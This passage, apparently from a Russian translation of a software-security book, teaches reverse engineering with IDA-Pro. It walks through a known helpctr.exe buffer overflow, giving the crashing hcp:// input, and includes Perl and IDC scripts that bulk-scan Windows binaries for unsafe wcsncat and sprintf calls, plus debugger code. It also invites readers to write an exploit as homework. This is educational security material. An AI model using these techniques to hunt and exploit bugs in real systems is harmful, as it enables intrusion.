Функция run вызывается при активизации дополнительного модуля пользова>
телем. В этом случае мы запускаем несколько потоков и отправляем короткое сооб>
щение, которое отобразится в окне журнала.
void run(int arg)
{
// Тестирование.
msg("запускаем дополнительный модуль для поиска отличий\n");
_beginthread(_test, 0, NULL);
_beginthread(_test2, 0, NULL);
}

Эти глобальные элементы данных используются программой IDA для вывода
информации о дополнительном модуле.
//-------------------------------------------------------------------------char comment[] = "Diff Scanner Plugin, written by Greg Hoglund
(www.rootkit.com)";
char help[] =
"Дополнительный модуль находит отличия в двоичном коде\n"
"\n"
"Этот модуль обозначает места в коде, которые были изменены.\n"
"\n";
//-------------------------------------------------------------------------// Это предопределенное имя дополнительного модуля в системном меню.
// Предопределенное имя может быть заменено в файле plugins.cfg.
char wanted_name[] = "Diff Scanner";

Восстановление исходного кода и структуры программы
//
//
//
//

103

Это предопределенная “горячая” клавиша для дополнительного модуля.
Предопределенная “горячая” клавиша может быть заменена в файле plugins.cfg.
Замечание: IDA не предупредит о некорректности “горячей“ клавиши.
Это только отключит “горячую“ клавишу.

char wanted_hotkey[] = "Alt-0";
//-------------------------------------------------------------------------//
// БЛОК ОПИСАНИЯ ДОПОЛНИТЕЛЬНОГО МОДУЛЯ
//
//-------------------------------------------------------------------------extern "C" plugin_t PLUGIN = {
IDP_INTERFACE_VERSION,
0,
// Параметры дополнительного модуля.
init,
// Инициализация.
term,

// Завершить. Этот указатель может иметь значение NULL.

run,

// Запустить дополнительный модуль.

comment,

// Долгий комментарий для дополнительного модуля
// Может появляться в строке состояния
// или как подсказка.

help, // Многострочная помощь для дополнительного модуля
wanted_name, // Предопределенное сокращенное имя для модуля
wanted_hotkey // Предопределенная “горячая” клавиша для запуска модуля
};

Декомпиляция и дизассемблирование
программного обеспечения
Декомпиляция — это процесс преобразования двоичных исполняемых файлов
(скомпилированной программы) в символический код на языке более высокого уров>
ня, который лучше воспринимается человеком. Как правило, это означает превраще>
ние выполняемой программы в исходный код на языке программирования, подобном
языку C. Большинство систем для декомпиляции не способны на полное преобразова>
ние программ в исходный код. Вместо этого предоставляется нечто среднее. Многие из
декомпиляторов одновременно являются и дизассемблерами, которые предоставляют
дамп машинного кода, который и заставляет программу работать.
Вероятно, на данный момент лучшим из общедоступных декомпиляторов явля>
ется IDA>Pro. Работа этой программы начинается с дизассемблирования программ>
ного кода, последующего анализа процесса выполнения программы, переменных и
вызовов функций. Пользоваться IDA довольно сложно, а значит, предполагается на>
личие серьезных специальных знаний. Программа IDA предоставляет полную биб>
лиотеку API для работы с базой данных этой программы, поэтому пользователи мо>
гут проводить свои собственные уникальные исследования.
Существуют и другие подобные средства. Например, программа REC с засекре>
ченным исходным кодом (но бесплатная) обеспечивает полное восстановление ис>
ходного кода на языке для некоторых исполняемых файлов. Еще один коммерче>
ский дизассемблер называется WDASM. Существует и несколько декомпиляторов
для байт>кода Java, которые позволяют получить исходный код на языке Java (этот
процесс намного проще, чем декомпиляция машинного кода для чипов Intel). Эти

104

Глава 3

системы отличаются довольно высокой точностью, даже когда в программах приме>
няются определенные методы маскировки. Также доступны и средства с открытым
исходным кодом, которые заинтересованные читатели могут найти самостоятельно.
Всегда следует иметь несколько декомпиляторов в своем арсенале, если вы хотите в
полной мере понимать, как работает программа.
Декомпиляторы широко используются хакерами для взлома защиты от копирова>
ния программ. Интересно отметить, что на заре компьютерной эпохи хакинг и пират>
ский взлом программ были абсолютно независимыми направлениями деятельности.
Хакинг зародился в среде UNIX, где программное обеспечение было бесплатным, а ис>
ходный код был доступным, т.е. декомпиляция была просто не нужна. С другой сторо>
ны, пиратские методы взлома были разработаны для взлома компьютерных игр, т.е. в
основном предназначались для платформ Apples, DOS и Windows, для которых исход>
ный код был обычно недоступен. Вирусы появились именно вследствие пиратского
движения. В конце 1990>х годов, когда большинство сетевого программного обеспече>
ния стало доступным для систем Windows и хакеры научились взламывать системы
Windows, дисциплины хакинга и взлома объединились в одно целое. Основной акцент
декомпиляции сместился от взлома защиты от копирования к аудиту программного
обеспечения в целях выявления доступных для использования ошибок, т.е. в новой
среде стали использоваться некоторые старые хитрости.

Декомпиляция на практике: восстановление
исходного кода helpctr.exe
В этом примере будет проиллюстрирован процесс восстановления исходного ко>
да для файла helpctr.exe — программы от Microsoft, которая поставляется совме>
стно с операционной системой Windows XP. С этой программой связана проблема
безопасности, которую называют переполнением буфера. Сведения об этом уязвимом
месте общедоступны уже достаточно давно, поэтому наше исследование не может
быть использовано для реальной угрозы. Для нас важно лишь описать процесс вы>
явления ошибки с помощью средств восстановления исходного кода и структуры
программы. Для дизассемблирования проверяемой программы мы воспользовались
средством IDA>Pro. При возникновении ошибки атакуемая программа создает спе>
циальный отладочный файл Dr.Watson log (журнал ошибок). Мы используем только
IDA и информацию в журнале ошибок для точного выявления места в программном
коде, которое привело к возникновению ошибки. Обратите внимание, что для про>
веряемого программного обеспечения исходный код не доступен. На рис. 3.4 показа>
но окно запущенной программы IDA>Pro.
Мы узнали о существовании этого уязвимого места, как и большинство других
людей, прочитав сообщение в списке рассылки bugtraq, в котором как раз и обсуж>
даются проблемы безопасности программ. В сообщении было только краткое описа>
ние проблемы. Самыми ценными сведениями этого сообщения были имя исполняе>
мого файла и входные данные, которые приводили к возникновению ошибки. В со>
общении говорилось, что ввод в Internet Explorer URL>адреса hcp://w.w.w.
w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w.w. приводил к запус>
ку программы helpctr.exe . Это достигалось после возникновения в приложении
исключения (которое вызывалось удаленно с помощью Web>браузера).

Восстановление исходного кода и структуры программы

105

Рис. 3.4. Окно программы IDAPro при восстановлении исходного кода программы helpctr.exe,
которая является частью операционной системы Windows XP. В качестве примера мы пытаем
ся найти в helpctr.exe уязвимое место для атаки на переполнение буфера

Мы воссоздали ошибку, использовав данный URL>адрес как входные данные в
среде Windows XP. Журнал ошибок создается операционной системой, а затем мы
копируем этот журнал и двоичный файл на отдельный компьютер для проведения
анализа. Обратите внимание, что для проведения анализа мы воспользовались уста>
ревшей машиной под управлением Windows NT. Оригинальное окружение Win>
dows XP больше не потребовалось, после того как мы индуцировали ошибку и со>
брали все нужные данные.

106

Глава 3

Журнал ошибок
При сбое в работе программы был создан дамп памяти для проведения отладки.
В журнал ошибок добавляется трассировка стека (stack trace), благодаря которой
определяется расположение программного кода, содержащего ошибку.
0006f8ac 0100b4ab 0006f8d8 00120000 00000103 msvcrt!wcsncat+0x1e
0006fae4 0050004f 00120000 00279b64 00279b44 HelpCtr+0xb4ab
0054004b 00000000 00000000 00000000 00000000 0x50004f

Виновником ошибки является строка функции wcsncat. Дамп стека четко пока>
зывает URL>строку. Мы видим, что URL>строка поглощает пространство стека и за>
тирает другие значения.
*----> Raw Stack
000000000006f8a8
................
000000000006f8b8
............."..
000000000006f8c8
....'..>.w
000000000006f8d8
C.:.\.W.I.N.D.O.
000000000006f8e8
W.S.\.P.C.H.e.a.
000000000006f8f8
l.t.h.\.H.e.l.p.
000000000006f908
C.t.r.\.V.e.n.d.
000000000006f918
o.r.s.\.w...w...
000000000006f928
w...w...w...w...
000000000006f938
w...w...w...w...
000000000006f948
w...w...w...w...
000000000006f958
w...w...w...w...
000000000006f968
w...w...w...w...
000000000006f978
w...w...w...w...
000000000006f988
w...w...w...w...
000000000006f998
w...w...w...w...
000000000006f9a8
w...w...w...w...
000000000006f9b8
w...w...w...w...
000000000006f9c8
w...w...w...w...
000000000006f9d8
w...w...w...w..

Dump за строки функции
wcsncat. С помощью IDA мы видим, что wcsncat вызывается из двух мест в коде.
.idata:01001004
.idata:01001004

extrn wcsncat:dword

; DATA XREF: sub_100B425+62 r
; sub_100B425+77 r ...

Правила работы с функцией wcsncat очевидны, к тому же получить описание
можно из руководства пользователя. Вызову передается три параметра.

Восстановление исходного кода и структуры программы

107

1. Выходной буфер (указатель буфера).
2. Входная строка (предоставляется пользователем).
3. Максимальное количество предоставляемых символов.
Предполагается, что выходной буфер (destination buffer) достаточно большой для
сохранения всех предоставляемых символов (обратите внимание, что в этом случае
данные предоставляются внешним пользователем, который может оказаться хаке>
ром). Именно в связи с данным обстоятельством для программиста предусмотрена
возможность задавать максимальную длину предоставляемой строки. Представьте,
что буфер — это стакан определенного размера, а вызываемая подпрограмма являет>
ся способом для “добавления жидкости в этой стакан”. Последний аргумент позво>
ляет гарантировать, что “жидкость не перельется за край стакана”.
В программе helpctr.exe выполняется несколько вызовов функции wcsncat
из уязвимой подпрограммы. На следующем рисунке схематически изображены пра>
вила осуществления вызовов функции wcsncat. Предположим, что выходной бу>
фер имеет размер 12 символов и мы уже сохранили строку ABCD. Значит, в буфере
остается место для 8 символов, включая и завершающий символ NULL.
wcsncat(target_buffer, "ABCD", 11);
A

B

Выходной
буфер

C

D

\0

?

?

?

?

?

?

?

Завершающий
символ NULL

Теперь вызовем функцию wcsncat() и добавим строку EF. Как видно на сле>
дующей схеме, эта строка добавляется в выходной буфер, начиная с символа NULL.
Для защиты выходного буфера мы должны указать, что максимальное количество
добавляемых символов не должно превышать семи. С учетом завершающего симво>
ла NULL, это число станет равным восьми. Все остальные данные будут выходить за
границы буфера, т.е. произойдет переполнение буфера.
wcsncat(target_buffer, "EF", 7);

К сожалению, в уязвимой подпрограмме в файле helpctr.exe программист до>
пустил небольшую, но фатальную ошибку. Относительно этой функции выполня>
ются многочисленные вызовы, но значения максимальной длины никогда не обнов>
ляются. Другими словами, постоянные добавления не учитываются для постоянно
уменьшающегося пространства в конце выходного буфера. “Стакан” переполняется,
но никто не видит, что “жидкость переливается за его края”. На нашей следующей
иллюстрации это продемонстрировано с помощью добавлению к исходному буферу
строки EFGHIJKLMN, т.е. добавляется строка максимальной длины из 11 символов
(или 12, если считать с символом NULL). Корректное значение не должно было пре>
вышать семи символов.
wcsncat(target_buffer, "EFGHIJKLMN", 11);

108

Глава 3

Входная строка

A

B

C

D

E

F

\0

E

F

\0

?

?

?

?

?

Функция
вставляет входную
строку данных в выходной буфер,
начиная с символа

Входная строка больше,
чем оставшееся место
в буфере

A

B

C

D

E

F

G

H

I

J

K

L

\0

?

?

?

?

?

?

?

M

N

\0

Переполнение
буфера

На рис. 3.5 показана блок>схема подпрограммы в helpctr.exe.

Восстановление исходного кода и структуры программы

109

Рис. 3.5. Простая схема подпрограммы в helpctr.exe, которая выполняет вызовы функции
wcsncat()

110

Глава 3

Высококлассный специалист по восстановлению исходного кода способен вы>
явить и декодировать программный код, вызывающий эту ошибку за 10–15 мин.
Специалист среднего класса сделает то же самое за один час. Подпрограмма начина>
ется с проверки, что она не передает пустой буфер. Это первое ветвление JZ. Если в
буфере хранится значение, то мы видим, что в регистр заносится значение 103h. Это
7
двоичное число 259, т.е. максимальный размер буфера равен 259 байт . Как раз здесь
и допущена ошибка. Мы видим, что это значение никогда не обновляется при ус>
пешных вызовах wcsncat(). Строки символов неоднократно добавляются в иссле>
дуемый буфер, но размер доступного места никогда не уменьшается. Это типичная
ошибка в программном коде, допускаемая на стадии анализа (parsing). Анализ, как
правило, включает в себя лексический и синтаксический разбор предоставляемых
пользователем строк данных, но часто допускаются еще и ошибки при арифметиче>
ских операциях с размером буфера.
Какой же будет окончательный вывод? Предоставляемое пользователем значе>
ние переменной (задаваемое в URL>адресе, который используется для запуска
helpctr.exe) передается этой подпрограмме, которая использует эти данные в се>
рии потенциально опасных вызовов.
Увы, это еще одна проблема безопасности, вызванная просчетами при програм>
мировании. В качестве домашнего задания мы предлагаем читателям создать про>
грамму атаки на это уязвимое место, которая должна привести к компрометации
компьютера.

Автоматизированный глобальный аудит
для выявления уязвимых мест
Очевидно, что процесс восстановления исходного кода программ проходит мед>
ленно и не подается точным измерениям. Зарегистрировано множество случаев, ко>
гда восстановление исходного кода в целях выявления ошибок в системе безопасно>
сти могло бы оказаться весьма полезным, но у тестировщиков и хакеров и близко не
было времени на проведение анализа каждого компонента программы, подобного
тому, который мы выполнили в предыдущем разделе. Однако есть возможность ис>
пользования автоматизированных средств проведения анализа. Программа IDA
предоставляет платформу для добавления собственных алгоритмов анализа про>
грамм. Создав специальный сценарий для IDA, можно автоматизировать некоторые
задачи, выполнение которых требуется при выявлении уязвимого места. Далее мы
8
рассмотрим пример чистого анализа по методу “белого ящика” .
Возвращаясь к предыдущему примеру, предположим, что мы хотим найти другие
ошибки, связанные с использованием функции wcsncat. Чтобы узнать, какие вызо>
7

На самом деле размер буфера в два раза больше (518 байт), поскольку мы работаем с
расширенными символами. Однако это не имеет значения в данном контексте. — Прим. авт.
8
Причина использования именно метода “белого ящика” (а не “черного ящика”) состоит в
том, что мы пытаемся проникнуть внутрь программы, чтобы лучше понять происходящее.
При анализе программы по методу “черного ящика” программа считается полностью непро
ницаемой и может быть проверена только по выдаваемым результатам. При анализе по ме
тоду “белого ящика” мы углубляемся в программу (независимо от того, доступен ли исходный
код). — Прим. авт.

Восстановление исходного кода и структуры программы

111

вы импортируются исполняемым файлом в Windows>системе, можно воспользо>
ваться утилитой dumpbin.
dumpbin /imports target.exe

Чтобы провести глобальный аудит всех исполняемых файлов в системе, можно
написать небольшой Perl>сценарий. Сначала создадим перечень исследуемых ис>
полняемых файлов. Для этого воспользуемся командой dir.
dir /B /S c:\winnt\*.exe > files.txt

Выполнение этой команды приводит к созданию файла, содержащего перечень
всех исполняемых файлов каталога winnt. Затем Perl>сценарий вызывает утилиту
dumpbin для каждого из этих файлов и анализирует результат, чтобы определить,
использовалась ли в них функция wcsncat.
open(FILENAMES, "files.txt");
while ()
{
chop($_);
my $filename = $_;
$command = "dumpbin /imports $_ > dumpfile.txt";
#print "trying $command";
system($command);
open(DUMPFILE, "dumpfile.txt");
while ()
{
if(m/wcsncat/gi)
{
print "$filename: $_";
}
}
close(DUMPFILE);

}
close(FILENAMES);

Запуск этого сценария на системе в нашей лаборатории привел к получению сле>
дующих результатов.
C:\temp>perl scan.pl
c:\winnt\winrep.exe:
7802833F
2E4 wcsncat
c:\winnt\INF\UNREGMP2.EXE:
78028EDD
2E4 wcsncat
c:\winnt\SPEECH\VCMD.EXE:
78028EDD
2E4 wcsncat
c:\winnt\SYSTEM32\dfrgfat.exe:
77F8F2A0
499 wcsncat
c:\winnt\SYSTEM32\dfrgntfs.exe:
77F8F2A0
499 wcsncat
c:\winnt\SYSTEM32\IESHWIZ.EXE:
78028EDD
2E4 wcsncat
c:\winnt\SYSTEM32\NET1.EXE:
77F8E8A2
491 wcsncat
c:\winnt\SYSTEM32\NTBACKUP.EXE:
77F8F2A0
499 wcsncat
c:\winnt\SYSTEM32\WINLOGON.EXE:
2E4 wcsncat

Мы обнаружили, что несколько программ в системе Windows NT используют
функцию wcncat. Нужно совсем немного времени, чтобы провести аудит этих фай>
лов и узнать, уязвимы ли они в контексте тех же проблем, что и рассмотренная выше
программа. С помощью этого метода вполне возможно исследовать библиотеки DLL
и получить еще более длинный список.
C:\temp>dir /B /S c:\winnt\*.dll > files.txt
C:\temp>perl scan.pl
c:\winnt\SYSTEM32\AAAAMON.DLL:
c:\winnt\SYSTEM32\adsldpc.dll:
c:\winnt\SYSTEM32\avtapi.dll:

78028EDD
7802833F
7802833F

2E4 wcsncat
2E4 wcsncat
2E4 wcsncat

112
c:\winnt\SYSTEM32\AVWAV.DLL:
c:\winnt\SYSTEM32\BR549.DLL:
c:\winnt\SYSTEM32\CMPROPS.DLL:
c:\winnt\SYSTEM32\DFRGUI.DLL:
c:\winnt\SYSTEM32\dhcpmon.dll:
c:\winnt\SYSTEM32\dmloader.dll:
c:\winnt\SYSTEM32\EVENTLOG.DLL:
c:\winnt\SYSTEM32\GDI32.DLL:
c:\winnt\SYSTEM32\IASSAM.DLL:
c:\winnt\SYSTEM32\IFMON.DLL:
c:\winnt\SYSTEM32\LOCALSPL.DLL:
c:\winnt\SYSTEM32\LSASRV.DLL:
c:\winnt\SYSTEM32\mpr.dll:
c:\winnt\SYSTEM32\MSGINA.DLL:
c:\winnt\SYSTEM32\msjetoledb40.dll:
c:\winnt\SYSTEM32\MYCOMPUT.DLL:
c:\winnt\SYSTEM32\netcfgx.dll:
c:\winnt\SYSTEM32\ntdsa.dll:
c:\winnt\SYSTEM32\ntdsapi.dll:
c:\winnt\SYSTEM32\ntdsetup.dll:
c:\winnt\SYSTEM32\ntmssvc.dll:
c:\winnt\SYSTEM32\NWWKS.DLL:
c:\winnt\SYSTEM32\ODBC32.dll:
c:\winnt\SYSTEM32\odbccp32.dll:
c:\winnt\SYSTEM32\odbcjt32.dll:
c:\winnt\SYSTEM32\OIPRT400.DLL:
c:\winnt\SYSTEM32\PRINTUI.DLL:
c:\winnt\SYSTEM32\rastls.dll:
c:\winnt\SYSTEM32\rend.dll:
c:\winnt\SYSTEM32\RESUTILS.DLL:
c:\winnt\SYSTEM32\SAMSRV.DLL:
c:\winnt\SYSTEM32\scecli.dll:
c:\winnt\SYSTEM32\scesrv.dll:
c:\winnt\SYSTEM32\sqlsrv32.dll:
c:\winnt\SYSTEM32\STI_CI.DLL:
c:\winnt\SYSTEM32\USER32.DLL:
c:\winnt\SYSTEM32\WIN32SPL.DLL:
c:\winnt\SYSTEM32\WINSMON.DLL:
c:\winnt\SYSTEM32\dllcache\dmloader.dll:
c:\winnt\SYSTEM32\SETUP\msmqocm.dll:
c:\winnt\SYSTEM32\WBEM\cimwin32.dll:
c:\winnt\SYSTEM32\WBEM\WBEMCNTL.DLL:

Глава3
78028EDD
78028EDD
78028EDD
78028EDD
7802833F
78028EDD
77F8F2A0
78028EDD
78028EDD
7802833F
77F8F2A0
7802833F
7802833F
78028EDD
7802833F
7802833F
7802833F
7802833F
7802833F
7802833F
7802833F
7802833F
7802833F
78028EDD
7802833F
7802833F
7802833F
7802833F
7802833F
7802833F
7802833F
78028EDD
77F8F2A0
7802833F
78028EDD
7802833F
7802833F
78028EDD

2E4
2E4
2E7
2E4
2E4
2FB
2E4
499
2E4
2E4
2E4
2E4
499
2E4
2E2
2E4
2E4
2E4
2E4
2E4
2E4
2E4
2E4
2E4
2E4
2E4
2E4
2E4
2E4
2E4
2E4
2E4
2E4
2E2
2E4
499
2E4
2E4
2FB
2E4
2E7
2E7

wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat
wcsncat

Глобальный анализ с помощью IDA-Pro
Мы уже продемонстрировали, как создавать дополнительные модули для IDA.
Программа IDA также поддерживает язык написания сценариев. Сценарии для IDA
называются IDCсценариями. Отметим, что иногда их создать гораздо проще, чем
использовать дополнительный модуль. Используя следующую команду и IDC"
сценарий, можно провести глобальный анализ с помощью IDA"Pro.
c:\ida\idaw -Sbatch_hunt.idc -A -c c:\winnt\notepad.exe

Ниже приведен элементарный файл IDC"сценария.
#include
//---------------------------------------------------------------static main(void) {
Batch(1);
/* will hang if existing database file */
Wait();
Exit(0);
}

Восстановление исходного кода и структуры программы

113

Для разнообразия проведем глобальный анализ для вызовов функции sprintf.
В Perl>сценарии программа IDA вызывается с помощью командной строки.
open(FILENAMES, "files.txt");
while ()
{
chop($_);
my $filename = $_;
$command = "dumpbin /imports $_ > dumpfile.txt";
#print "trying $command";
system($command);
open(DUMPFILE, "dumpfile.txt");
while ()
{
if(m/sprintf/gi)
{
print "$filename: $_\n";
system("c:\\ida\\idaw -Sbulk_audit_sprintf.idc -A -c $filename");
}
}
close(DUMPFILE);

}
close(FILENAMES);

Мы используем сценарий bulk_audit_sprintf.idc.
//
// В этом примере показано, как использовать функцию GetOperandValue().
//
#include
/* эта процедура жестко закодирована для обработки вызовов sprintf */
static hunt_address(

{

auto
auto
auto
auto

eb, /* адрес этого вызова */
param_count, /* число параметров для этого вызова */
ec, /* максимальное число отслеживаемых инструкций */
output_file
)

ep; /* знакоместо */
k;
kill_frame_sz;
comment_string;

k = GetMnem(eb);
if(strstr(k, "call") != 0)
{
Message("Invalid starting point\n");
return;
}
/* код трассировки */
while( eb=FindCode(eb, 0) )
{
auto j;
j = GetMnem(eb);
/* выход на ранней стадии, если мы попали в код retn */
if(strstr(j, "retn") == 0) return;
/* push - это аргумент для вызова функции sprintf */
if(strstr(j, "push") == 0)

114

Глава 3
{

auto my_reg;
auto max_backtrace;
ep = eb;
/* возвращаемся назад, чтобы найти параметр */
my_reg = GetOpnd(eb, 0);
fprintf(output_file, "push number %d, %s\n", param_count, my_reg);
max_backtrace = 10; /* не возвращаться больше чем на 10 шагов */
while(1)
{
auto x;
auto y;
eb = FindCode(eb, 0);
x = GetOpnd(eb,0);
if ( x != -1 )
{
if(strstr(x, my_reg) == 0)
{
auto my_src;
my_src = GetOpnd(eb, 1);
/* param 3 это атакуемый буфер */
if(3 == param_count)
{
auto my_loc;
auto my_sz;
auto frame_sz;
my_loc = PrevFunction(eb);
fprintf(output_file, "обнаружена
подпрограмма 0x%x\n", my_loc);
my_sz = GetFrame(my_loc);
fprintf(output_file, "got frame
%x\n", my_sz);
frame_sz = GetFrameSize(my_loc);
fprintf(output_file, "got frame size
%d\n", frame_sz);
kill_frame_sz =
GetFrameLvarSize(my_loc);
fprintf(output_file, "got frame lvar
size %d\n", kill_frame_sz);
my_sz = GetFrameArgsSize(my_loc);
fprintf(output_file, "got frame args
size %d\n", my_sz);
/* это атакуемый буфер */
fprintf(output_file, "%s is the target buffer,
in frame size %d bytes\n",
my_src, frame_sz);
}
/* param 1 - исходный буфер */
if(1 == param_count)
{
fprintf(output_file, "%s это исходный буфер\n",
my_src);
if(-1 != strstr(my_src, "arg"))

Восстановление исходного кода и структуры программы
{

115

fprintf(output_file, "%s это аргумент, который будет
будет вызывать переполнение
в буфере, если будет больше %d байт!\n",
my_src, kill_frame_sz);

}
}
break;

}
}
max_backtrace--;
if(max_backtrace == 0)break;

}
eb = ep; /* перейти в начальное состояние и продолжить
для следующего параметра */
param_count--;
if(0 == param_count)
{

}

}

fprintf(output_file, "Закончились все параметры\n");
return;

}
}
if(ec-- == 0)break;

static main()
{
auto ea;
auto eb;
auto last_address;
auto output_file;
auto file_name;
/* отключить все диалоговые окна для глобальной обработки */
Batch(0);
/* подождать до завершения автоанализа */
Wait();
ea = MinEA();
eb = MaxEA();
output_file = fopen("report_out.txt", "a");
file_name = GetIdbPath();
fprintf(output_file, "---------------------------------------------\nFilename:
%s\n", file_name);
fprintf(output_file, "HUNTING FROM %x TO %x\n--------------------------------------------\n", ea, eb);
while(ea != BADADDR)
{
auto my_code;
last_address=ea;
//Message("checking %x\n", ea);
my_code = GetMnem(ea);
if(0 == strstr(my_code, "call")){

\n", ea);

auto my_op;
my_op = GetOpnd(ea, 0);
if(-1 != strstr(my_op, "sprintf")){
fprintf(output_file, "Найден вызов sprintf по адресу 0x%x -

116

Глава 3
/* 3 параметра, max отслеживание 20 */
hunt_address(ea, 3, 20, output_file);
fprintf(output_file, "------------------------------------

----------\n");
}
}
ea = FindCode(ea, 1);
}
fprintf(output_file, "Завершено на адресе 0x%x\n--------------------------------------------\n", last_address);
fclose(output_file);
Exit(0);
}

Результат выполнения этой глобальной проверки сохраняется в файле report_
out.txt для последующего анализа. Содержимое этого файла может выглядеть
следующим образом.
---------------------------------------------Filename: C:\reversing\of1.idb
HUNTING FROM 401000 TO 404000
---------------------------------------------Found sprintf call at 0x401012 - checking
push number 3, ecx
detected subroutine 0x401000
got frame ff00004f
got frame size 32
got frame lvar size 28
got frame args size 0
[esp+1Ch+var_1C] is the target buffer, in frame size 32 bytes
push number 2, offset unk_403010
push number 1, eax
[esp+arg_0] is the source buffer
[esp+arg_0] is an argument that will overflow if larger than 28 bytes!
Exhausted all parameters
---------------------------------------------Found sprintf call at 0x401035 - checking
push number 3, ecx
detected subroutine 0x401020
got frame ff000052
got frame size 292
got frame lvar size 288
got frame args size 0
[esp+120h+var_120] is the target buffer, in frame size 292 bytes
push number 2, offset aSHh
push number 1, eax
[esp+arg_0] is the source buffer
[esp+arg_0] is an argument that will overflow if larger than 288 bytes!
Exhausted all parameters
---------------------------------------------FINISHED at address 0x4011b6
------------------------------------------------------------------------------------------Filename: C:\winnt\MSAGENT\AGENTCTL.idb
HUNTING FROM 74c61000 TO 74c7a460
---------------------------------------------Found sprintf call at 0x74c6e3b6 - checking
push number 3, eax
detected subroutine 0x74c6e2f9
got frame ff000eca
got frame size 568
got frame lvar size 552
got frame args size 8
[ebp+var_218] is the target buffer, in frame size 568 bytes

Восстановление исходного кода и структуры программы

117

push number 2, offset aD__2d
push number 1, eax
[ebp+var_21C] is the source buffer
Exhausted all parameters
----------------------------------------------

При поиске вызовов функций мы обнаружили подозрительный вызов функции
lstrcpy(). Автоматический анализ больших фрагментов кода широко использует>
ся хакерами для поиска “интересных” для атаки точек и крайне полезен на практике.

Создание собственных средств взлома
Согласитесь, восстановление исходного кода — это довольно скучный процесс,
предполагающий выполнение тысяч мелких действий и учет миллионов фактов. Че>
ловек не в состоянии запомнить всю эту информацию. Если вы не отличаетесь от
других людей, то для управления данными вам потребуется помощь специальных
средств. На рынке доступно множество средств для отладки кода (как коммерче>
ских, так и бесплатных), но большинство из них не предоставляют универсального
решения любой задачи. По этой причине часто возникает потребность в создании
собственных средств.
Самостоятельное написание программ — это отличный способ узнать побольше о
программном обеспечении. При этом требуются знания архитектуры программного
обеспечения, но самое главное — это способ размещения программы в памяти и спо>
соб работы стека и кучи. Исследование программного обеспечения с помощью
средств программирования намного эффективнее, чем прямолинейные атаки по
взлому с использованием карандаша и листа бумаги. Ваши умения значительно
улучшатся, а период обучения не будет слишком долгим.

Средства для платформы x86
В большинстве рабочих станций установлены процессоры Intel семейства x86,
включая процессоры моделей 386, 486 и Pentium. Другие производители также соз>
дают совместимые чипы. Эти чипы называют семейством, поскольку все эти процес>
соры обладают общим набором свойств и возможностей. Программа, которая запус>
кается на платформе x86, как правило, имеет стек, кучу и набор команд. В процессо>
ре семейства x86 есть регистры, в которых сохраняются адреса ячеек памяти. Эти
адреса соответствуют месту в памяти, в котором хранятся данные.

Отладчик для платформ x86
Компания Microsoft предоставляет относительно простые в использовании API
для отладки в Windows>системах. Интерфейс API позволяет пользователям полу>
чать доступ к отладочным событиям из программы, запускаемой в режиме пользова>
теля. Структура программы довольно проста.
DEBUG_EVENT
dbg_evt;
m_hProcess = OpenProcess(

PROCESS_ALL_ACCESS | PROCESS_VM_OPERATION,
0,
mPID);

if(m_hProcess == NULL)
{
_error_out("[!] OpenProcess Failed !\n");
return;
}

118

Глава 3
// Ok, мы подключились к процессу; можно начинать отладку.
if(!DebugActiveProcess(mPID))
{
_error_out("[!] DebugActiveProcess failed !\n");
return;
}
// Не уничтожайте процесс при выходе из потока.
// замечание: поддерживается только в Windows XP.
fDebugSetProcessKillOnExit(FALSE);
while(1)
{
if(WaitForDebugEvent(&dbg_evt, DEBUGLOOP_WAIT_TIME))
{
// Обработка отладочных событий.
OnDebugEvent(dbg_evt);
if(!ContinueDebugEvent(
{

mPID,
dbg_evt.dwThreadId, DBG_CONTINUE))

_error_out("ContinueDebugEvent failed\n");
break;

}
}
else
{
// Игнорировать ошибки, связанные с истечением срока.
int err = GetLastError();
if(121 != err)
{
_error_out("WaitForDebugEvent failed\n");
break;
}
}
// Выйти, если отладчик был отключен.
if(FALSE == mDebugActive)
{
break;
}
}
RemoveAllBreakPoints();

В этом коде показано, как подключаться к уже запущенному процессу. Также
можно запустить процесс в отладочном режиме. В любом случае отладочный цикл
сохраняется прежним: вы просто ждете до появления отладочных событий. Цикл
продолжается до возникновения ошибки или до того момента, когда будет установ>
лено значение TRUE для флага mDebugActive. На выходе отладчик автоматически
отключается от процесса. При работе в системе Windows XP отключение происхо>
дит “по правилам” и проверяемый процесс может продолжать исполнение. При ис>
пользовании устаревших версий Windows, API отладчика уничтожит проверяемый
процесс. Такое поведение отладчика, как правило, вызывало много нареканий. По
распространенному мнению, это был серьезный просчет в API для отладчика Micro>
soft, который подлежал исправлению в версии 0.01. К счастью, этот просчет был ис>
правлен в версии для Windows XP.

Точки останова
Точки останова критически важны при проведении отладки. В этой книге есть
много ссылок на стандартные методы расстановки точек останова. Останов может
быть реализован с помощью простой инструкции. Стандартной инструкцией для

Восстановление исходного кода и структуры программы

119

точки останова x86 программ является прерывание 3. Очень ценной представляется
возможность закодировать прерывание 3 как один байт данных. Таким образом, при
его удалении из программного кода потребуются минимальные изменения в окру
жающих байтах. Эту точку останова легко устанавливать скопировав оригинальный
файл в безопасное место и заменив его байтом 0xCC.
Инструкции останова иногда объединяются в блоки и записываются в недоступ
ные области памяти. Таким образом, если программа “случайно” перейдет в одну из
этих “неправильных”областей памяти, будет вызвано прерывание отладчика. Ино
гда эти инструкции можно увидеть в стеке между стековыми фреймами.
Безусловно, вовсе необязательно обрабатывать точку останова с помощью пре
рывания 3. С тем же успехом может быть использовано прерывание 1 или еще что
то. Прерывания управляются программным обеспечением. И именно программное
обеспечение операционной системы принимает решение о том, как обрабатывать со
бытие. Это контролируется посредством таблицы дескрипторов прерываний (когда
процессор запущен в защищенном режиме) или таблицы векторов прерываний
(когда процессор запущен в реальном режиме).
Для установки точки останова нужно сначала сохранить оригинальную инструк
цию, которая заменяется точкой останова, чтобы при удалении точки останова эту
инструкцию можно было вернуть обратно. В следующем листинге демонстрируется
сохранение оригинального значения до установки точки останова.
///////////////////////////////////////////////////////////////////////////////
/
// Изменяем защиту страницы, чтобы можно было считать оригинальную инструкцию,
// затем восстанавливаем защиту.
///////////////////////////////////////////////////////////////////////////////
/
